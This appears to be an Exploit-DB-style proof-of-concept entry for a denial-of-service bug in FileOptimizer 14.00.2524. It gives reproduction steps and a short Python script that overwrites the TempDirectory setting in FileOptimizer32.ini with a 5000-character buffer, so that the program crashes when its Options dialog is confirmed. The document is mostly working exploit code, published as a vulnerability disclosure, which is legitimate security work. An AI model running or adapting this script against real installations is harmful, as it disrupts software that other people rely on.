FileOptimizer 14.00.2524 - Denial of Service (PoC)

# Exploit Title:  FileOptimizer 14.00.2524 - Denial of Service (PoC)
# Date: 2019-11-04
# Exploit Author: Chase Hatch (SYANiDE)
# Vendor Homepage: https://sourceforge.net/projects/nikkhokkho/
# Software Link: https://sourceforge.net/projects/nikkhokkho/files/FileOptimizer/14.00.2524/FileOptimizerSetup.exe/download
# Version: 14.00.2524
# Tested on: Windows 7 Ultimate x86 SP0
# CVE : none

## Steps to reproduce
## Open application for the first time so it generates "FileOptimizer32.ini" in the install directory
## Run the PoC
## Open FileOptimizer again, navigating to "Optimize" / "Options".
## Click OK to crash

#! /usr/bin/env python
import os, sys, re

test="TempDirectory="  # variable/str in config file to replace with buffer
dir = "C:\\Program Files\\FileOptimizer\\"
file = "FileOptimizer32.ini"

sploit = "A"*5000

temp = open(dir+file,'r').read()
temp2 = re.sub(test, test + sploit, temp) 
with open(dir+file,'w') as F:
    F.write(temp2)
    F.close()